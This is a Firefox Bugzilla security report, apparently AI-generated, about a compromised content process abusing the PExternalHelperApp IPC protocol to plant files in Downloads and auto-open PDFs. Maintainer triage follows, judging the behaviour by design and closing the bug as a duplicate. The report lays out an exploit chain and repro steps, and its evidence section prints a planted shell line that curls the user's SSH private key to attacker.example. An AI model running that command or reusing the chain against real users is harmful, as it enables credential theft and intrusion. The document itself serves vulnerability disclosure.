Closed Bug 2045736 Opened 4 months ago Closed 3 months ago

PExternalHelperApp lets a compromised content process make the parent silently plant attacker-controlled files in the Downloads directory and auto-open them (confused deputy)

Categories

(Firefox :: File Handling, defect)

Desktop
All
defect

Tracking

()

RESOLVED DUPLICATE of bug 2039452

People

(Reporter: tjr, Unassigned, NeedInfo)

References

Details

(Keywords: ai-involved, crash, testcase)

Attachments

(5 files)

The PExternalHelperApp protocol exists so a content process can hand an in-progress download to the parent. Its constructor (PContent::PExternalHelperApp) carries entirely child-supplied metadata - URI, LoadInfoArgs (including triggering principal and hasValidUserGestureActivation), MIME content type, content-disposition header/hint/filename, forceSave, contentLength, wasFileChannel, and browsing context - and the file body arrives via PExternalHelperApp::OnDataAvailable(nsCString data, uint64_t offset), which ExternalHelperAppParent::RecvOnDataAvailable feeds directly into nsExternalAppHandler/BackgroundFileSaver for writing to disk. The parent validates nothing beyond LoadInfoArgs deserialization: there is no check that any real channel, navigation, user gesture, or user consent backs the 'download'.

Because every gate in the parent's download path is keyed on these child-forged inputs (the handling action comes from the child-supplied MIME type; the gesture/spam checks consume the forged LoadInfo; the filename comes from the child), a compromised content process can directly mint these actors and have the parent (1) silently create files with attacker-chosen names and fully attacker-controlled bytes in the user's download directory - no gesture, no dialog, under shipping-default prefs (browser.download.useDownloadDir=true, browser.download.always_ask_before_handling_new_types=false); the '.download' suffix defense only covers .lnk/.local/.url/.scf/.desktop, so e.g. a '.sh' payload name is preserved verbatim - and (2) for MIME types whose default handler action is handleInternally (application/pdf in a default profile), additionally auto-open the planted file as a file:// document in a new tab with zero user interaction (verified: _succeed -> launch -> launchDownload -> loadFileIn -> openTrustedLinkIn -> addTab in the parent, with pdf.js loading the planted file). The sandboxed content process cannot write to the Downloads directory itself, so the parent grants a genuine authority delta; this matches the F1/F4 'parent trusts child-supplied download metadata' pattern. A related primitive (not part of the main PoC): sending OnStopRequest with a failing nsresult while the unknown-content-type dialog is up lets the child stack unbounded synchronous modal prompts on the parent main thread (observed 400+ nested openPromptSync frames ending in 'InternalError: too much recursion').

Residual doubts, stated honestly: the analyzed snapshot also predates the upstream (hidden security) Bug 2036929 'Hold strong ref while calling nsIStreamListener methods', whose fix touches exactly ExternalHelperAppParent::RecvOnStartRequest/RecvOnDataAvailable/RecvOnStopRequest. Extensive attempts to weaponize the missing strong references into a parent UAF (message reordering, double OnStartRequest, failing-stop nested-modal-prompt event loops, racing window/dialog teardown so nsUnknownContentTypeDialog::onCancel frees the nsXPCWrappedJS progress listener while its OnStatusChange frame was live, and randomized campaigns) produced no ASAN crash: the IPDL ActorLifecycleProxy keeps the actor (and hence its mListener reference) alive throughout dispatch, and the freed-WrappedJS window that was created is never re-dereferenced after the call. The verified, demonstrated finding is therefore the authority/logic flaw above.

Build Info

  • Branch: master
  • Revision: 4395555aa67af0261aac774cf0d418d57a5a549f
  • Timestamp: 2026-06-06T00:09:50+00:00

Affected Code

File: uriloader/exthandler/PExternalHelperApp.ipdl, line 16-19

parent:
  async OnStartRequest(nsCString entityID);
  async OnDataAvailable(nsCString data, uint64_t offset);   // <- fully attacker-controlled file content
  async OnStopRequest(nsresult code);

File: uriloader/exthandler/ExternalHelperAppParent.cpp, line 114-130

mozilla::ipc::IPCResult ExternalHelperAppParent::RecvOnDataAvailable(
    const nsACString& data, const uint64_t& offset) {
  if (NS_FAILED(mStatus)) {
    return IPC_OK();
  }

  MOZ_ASSERT(mPending, "must be pending!");

  nsCOMPtr<nsIInputStream> stringStream;
  DebugOnly<nsresult> rv = NS_NewByteInputStream(
      getter_AddRefs(stringStream), Span(data), NS_ASSIGNMENT_DEPEND);
  NS_ASSERTION(NS_SUCCEEDED(rv), "failed to create dependent string!");
  // Child-supplied bytes flow straight into nsExternalAppHandler ->
  // BackgroundFileSaver -> the user's download directory. No provenance check.
  mStatus =
      mListener->OnDataAvailable(this, stringStream, offset, data.Length());

  return IPC_OK();
}

File: dom/ipc/ContentParent.cpp, line 4608-4623

mozilla::ipc::IPCResult ContentParent::RecvPExternalHelperAppConstructor(
    PExternalHelperAppParent* actor, nsIURI* uri,
    const LoadInfoArgs& loadInfoArgs, const nsACString& aMimeContentType,
    const nsACString& aContentDisposition,
    const uint32_t& aContentDispositionHint,
    const nsAString& aContentDispositionFilename, const bool& aForceSave,
    const int64_t& aContentLength, const bool& aWasFileChannel,
    nsIURI* aReferrer, const MaybeDiscarded<BrowsingContext>& aContext) {
  BrowsingContext* context = aContext.IsDiscarded() ? nullptr : aContext.get();
  // Only LoadInfoArgs conversion is checked; the MIME type, filename,
  // disposition, wasFileChannel, gesture state etc. are all trusted verbatim.
  if (!static_cast<ExternalHelperAppParent*>(actor)->Init(
          loadInfoArgs, aMimeContentType, aForceSave, aReferrer, context)) {
    return IPC_FAIL(this, "Init failed.");
  }
  return IPC_OK();
}

File: uriloader/exthandler/nsExternalHelperAppService.cpp, line 1933-1946

  } else {
    // We need to do the save/open immediately, then.
    if (action == nsIMIMEInfo::useHelperApp ||
        action == nsIMIMEInfo::useSystemDefault ||
        shouldAutomaticallyHandleInternally) {   // <- derived from the CHILD-supplied MIME type
      // Check if the file is local ... (mIsFileChannel is the CHILD-supplied wasFileChannel)
      rv = mIsFileChannel ? LaunchLocalFile()
                          : SetDownloadToLaunch(
                                shouldAutomaticallyHandleInternally, nullptr);
    } else {
      rv = PromptForSaveDestination();   // with useDownloadDir=true: silent save, no UI
    }
  }

File: uriloader/exthandler/nsExternalHelperAppService.cpp, line 3687-3698

  if (!(aFlags & VALIDATE_ALLOW_INVALID_FILENAMES)) {
    // If the extension is one these types, we append .download ...
    if (nsContentUtils::EqualsIgnoreASCIICase(ext, u".lnk"_ns) ||
        nsContentUtils::EqualsIgnoreASCIICase(ext, u".local"_ns) ||
        nsContentUtils::EqualsIgnoreASCIICase(ext, u".url"_ns) ||
        nsContentUtils::EqualsIgnoreASCIICase(ext, u".scf"_ns) ||
        nsContentUtils::EqualsIgnoreASCIICase(ext, u".desktop"_ns)) {
      downloadSuffix = u".download"_ns;
    }
  }
  // .sh / .bat / etc. are NOT suffixed - attacker-chosen extensions survive.

The parent accepts wholly child-supplied download metadata and content, then performs privileged actions (file creation in the user's download directory, auto-opening) based on it.

Exploit Chain

  1. Attacker achieves code execution in a content process (standard compromised-renderer threat model; simulated here by a content-process-only driver patch).
  2. The compromised child calls ContentChild::SendPExternalHelperAppConstructor with fully forged metadata: an arbitrary https:// source URI, a self-built LoadInfoArgs (own principal, forged user-gesture bit), an attacker-chosen MIME type, and an attacker-chosen filename (e.g. 'passwd-stealer.sh').
  3. Child sends OnStartRequest. The parent creates an nsExternalAppHandler; with shipping defaults (always_ask_before_handling_new_types=false, useDownloadDir=true) it silently resolves the destination to <Downloads>/<attacker filename> with no dialog and no gesture requirement (all gates consume the forged inputs).
  4. Child streams arbitrary bytes via OnDataAvailable(data, offset); ExternalHelperAppParent::RecvOnDataAvailable writes them through BackgroundFileSaver into the destination file owned by the parent process.
  5. Child sends OnStopRequest(NS_OK); the parent finalizes the download: the attacker-named, attacker-content file now sits in the user's Downloads directory (demonstrated: passwd-stealer.sh with a key-exfiltration shell payload, .sh extension preserved).
  6. For escalated impact the child repeats the flow with MIME type application/pdf (handleInternally + no-ask in a default profile): upon completion the parent automatically opens the planted file:// document in a new tab (DownloadCore._succeed -> launch -> DownloadIntegration.launchDownload -> DownloadUIHelper.loadFileIn -> openTrustedLinkIn -> addTab), rendering attacker-controlled bytes from a file:// URL in pdf.js with zero user interaction.
  7. Impact: cross-sandbox file planting (malware staging, masquerading as user-expected documents, poisoning files other software ingests from Downloads) plus parent-initiated interaction-free opening of attacker-controlled local files.

IPC Path

  • PExternalHelperApp
    • Protocol: PExternalHelperApp
    • Parent process: Main
    • Child process: Content
    • Message flow: Content -> Main: PExternalHelperApp(uri, loadInfoArgs, mimeType, disposition, filename, ...) then OnStartRequest(), OnDataAvailable(data, offset)*, OnStopRequest(code)

Steps to Reproduce

  1. Apply exploit.patch to the Firefox tree at /work/firefox-asan-4 (adds a content-process-only IPC driver to nsGlobalWindowInner::Dump; all functionality guarded by XRE_IsContentProcess(); no parent code modified).
  2. Build with /work/clauditor-test/mozconfigs/mozconfig.linux.asan.fuzzing.
  3. mkdir -p /tmp/dl
  4. Run test.html via the browser evaluator against obj-firefox-asan/dist/bin/firefox with prefs {"browser.download.folderList": 2, "browser.download.dir": "/tmp/dl"} (location selection only; consent-related prefs remain at shipping defaults).
  5. Observe (crashed=false, logic flaw): the parent creates /tmp/dl/passwd-stealer.sh, /tmp/dl/notes.txt, and /tmp/dl/report.pdf with exact attacker-chosen names and byte content, with no user gesture or consent UI; parent stderr shows the auto-open stack (launchDownload -> loadFileIn -> addTab) and a pdf.js content process loading file:///tmp/dl/report.pdf.

Security Impact

  • Severity: Moderate
  • Attacker capability: From a compromised content process, write files with fully attacker-controlled names and contents into the user's download directory with zero user interaction or consent (file planting / malware staging; dangerous extensions like .sh are preserved because the .download suffix blocklist only covers .lnk/.local/.url/.scf/.desktop), and cause the parent to automatically open planted attacker-controlled bytes as a file:// document in a new tab for handleInternally MIME types (application/pdf by default). Additionally, the child can wedge the parent UI in unbounded nested synchronous modal prompts (DoS).
  • Preconditions: Attacker code execution in a content process (compromised renderer). Default desktop Firefox configuration otherwise: browser.download.useDownloadDir=true, browser.download.always_ask_before_handling_new_types=false, download spam protection default-disabled; a usable download directory.

ASAN Report

No ASAN/sanitizer crash: the verified finding is a logic/authority (confused deputy) vulnerability, not memory corruption. Evidence of parent-process manipulation captured during the run:

Parent stderr (auto-open of planted attacker file by the PARENT process):
addTab@chrome://browser/content/tabbrowser/tabbrowser.js:3336:25
openLinkIn@resource:///modules/URILoadingHelper.sys.mjs:605:41
openTrustedLinkIn@resource:///modules/URILoadingHelper.sys.mjs:815:10
openTrustedLinkIn@chrome://browser/content/utilityOverlay.js:116:20
loadFileIn@resource://gre/modules/DownloadUIHelper.sys.mjs:131:16
launchDownload@resource://gre/modules/DownloadIntegration.sys.mjs:986:31
launch@resource://gre/modules/DownloadCore.sys.mjs:916:37
_succeed@resource://gre/modules/DownloadCore.sys.mjs:649:12
[Child]: pdf.js loaded "file:///tmp/dl/report.pdf" (planted attacker bytes)

Filesystem evidence (files created by the parent):
/tmp/dl/passwd-stealer.sh : #!/bin/sh\ncurl -d @$HOME/.ssh/id_rsa https://attacker.example/x
/tmp/dl/notes.txt         : PWNED-BY-COMPROMISED-CONTENT-PROCESS
/tmp/dl/report.pdf        : %PDF-1.4 ... (auto-opened in a new tab)

Independently reproduced by the adversarial verifier on a verified-clean tree (verdict: approved).
Attached file test.html —
Attached patch exploit.patch — — Splinter Review
Attached file README.txt —
Attached file crash_stack.txt —
Attached patch fix.patch — — Splinter Review
Group: core-security → dom-core-security

Not sure the correct component for this.

The content process being able to plant files in the download directory I was not that surprised by.
And if you told me a website could navigate you to a file:// URL I would be concerned but also uncertain if that could realistically be restricted..
And then of course the file:// content process can read the whole filesystem...
So the end result is any content process bug effectively is an arbitrary file read bug?

Component: General → DOM: Core & HTML

Gijs, you might have an opinion on this. Basically nothing here sounds surprising. Of course a content process can control the data.
To me the most surprising thing is perhaps browser.download.always_ask_before_handling_new_types=false

Not sure about the right component.

Group: dom-core-security → firefox-core-security
Component: DOM: Core & HTML → Settings UI
Flags: needinfo?(gijskruitbosch+bugs)
Product: Core → Firefox

Is this a dupe of bug 2039452?

See Also: → CVE-2026-16379

there is no check that any real channel, navigation, user gesture, or user consent backs the 'download'.

Not sure what checks we would put in place. A channel to a blob with arbitrary content can be constructed even by uncompromised content procs in most cases, right? Unless sandboxing disallows this?

no gesture

bug 1711049

the '.download' suffix defense only covers .lnk/.local/.url/.scf/.desktop, so e.g. a '.sh' payload name is preserved verbatim

Yeah, but this is just there to make it harder for the OS or the user to automatically do something about the file when it could be malicious. For opening in Firefox, we have additional defenses in the download popup for more extensive filetypes (via isExecutable, though on *nix that will also just end up checking whether the file has executable permissions set - bug on file for that), and on macOS and Windows we'll set flags indicating this was downloaded off the internet in OS-appropriate ways which would normally cause OS warnings if opened from File explorers.

A related primitive (not part of the main PoC): sending OnStopRequest with a failing nsresult while the unknown-content-type dialog is up lets the child stack unbounded synchronous modal prompts on the parent main thread (observed 400+ nested openPromptSync frames ending in 'InternalError: too much recursion').

This should be filed separately with more details.

browser.download.always_ask_before_handling_new_types=false

This was a change around Firefox 98 and a product decision, because the "what to do with this file" dialog causes all sorts of problems and isn't how any other browser deals with downloads by default. But also, even if you flip that pref, that dialog isn't/doesn't stop the content proc putting arbitrary bytes on disk (that's not what it's for). It just gives you an easy affordance (cancel button) to stop the download and delete the bytes again.

We haven't historically felt that putting arbitrary bytes on disk (without opening them) should be treated as an attack vector, modulo the DoS aspects of the same. If that should change, we should have a larger conversation (but I don't know what constraints we would put in place without breaking the web, honestly...).

additionally auto-open the planted file as a file:// document in a new tab with zero user interaction (verified: _succeed -> launch -> launchDownload -> loadFileIn -> openTrustedLinkIn -> addTab in the parent, with pdf.js loading the planted file)

I don't really understand this part. This is expected for PDFs by default (and can be configured for other types). This would only work if we actually created a .pdf file and would load it as a PDF. If there's a way for a compromised content proc to trigger this in the parent for a more arbitrary file URL that would be more surprising to me. I can't tell from the report if that's the case. Tom?

Flags: needinfo?(gijskruitbosch+bugs) → needinfo?(tom)
Component: Settings UI → File Handling
OS: Unspecified → All
Hardware: Unspecified → Desktop

The rating assigned by our bug rating tool (currently under development) is:

Rating: N/A

Explanation: AI-generated (clauditor) report claiming a 'confused deputy': a compromised content process uses PExternalHelperApp to plant attacker-controlled files in Downloads and auto-open PDFs. Per the File Handling module owner (Gijs) and smaug, this describes by-design behavior, not a vulnerability. Normal/uncompromised web content can already cause downloads of arbitrary bytes with arbitrary filenames into the Downloads directory (e.g. via blob channels), so there is no genuine authority delta from a 'compromised' content process. Mozilla does not historically treat writing bytes to disk (without opening them) as an attack vector. The PDF auto-open is the expected default behavior, rendered safely by the sandboxed pdf.js; no escalation to opening arbitrary file:// content was demonstrated. The .download suffix blocklist and OS quarantine flags are defense-in-depth, not a broken security boundary. The only potentially security-relevant sub-claim (nested modal-prompt recursion DoS) is explicitly noted as needing to be filed separately and is not the main finding. Not security-sensitive.

tjr: Please remove the security flag if you agree with this rating.

Status: UNCONFIRMED → RESOLVED
Closed: 3 months ago
Duplicate of bug: CVE-2026-16379
Resolution: --- → DUPLICATE
Group: firefox-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: